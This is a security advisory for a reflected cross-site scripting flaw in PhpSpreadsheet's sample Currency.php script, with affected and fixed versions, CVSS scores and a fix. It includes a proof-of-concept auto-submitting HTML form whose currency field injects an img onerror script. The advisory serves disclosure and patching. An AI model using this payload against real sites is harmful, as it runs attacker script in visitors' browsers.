HighGHSA-j2xg-cjcx-4677CVE-2024-56409

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Published 3 Jan 2025 · Updated 10 Sept 2026

Affected packages

Affected
>=3.0.0 <3.7.0
Fixed in
3.7.0
Update to the fixed version for your release line, for example:composer require phpoffice/phpspreadsheet:^3.7.0
Affected
<1.29.7
Fixed in
1.29.7
Update to the fixed version for your release line, for example:composer require phpoffice/phpspreadsheet:^1.29.7
Affected
>=2.0.0 <2.1.6
Fixed in
2.1.6
Update to the fixed version for your release line, for example:composer require phpoffice/phpspreadsheet:^2.1.6
Affected
>=2.2.0 <2.3.5
Fixed in
2.3.5
Update to the fixed version for your release line, for example:composer require phpoffice/phpspreadsheet:^2.3.5
Affected
<=1.8.2
Fixed in
No fix released

Details

Unauthorized Reflected XSS in Currency.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

!fig9

*Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization*

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" />

*Figure 10. Executing arbitrary JavaScript code*

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Is GHSA-j2xg-cjcx-4677 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected phpoffice/phpspreadsheet, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.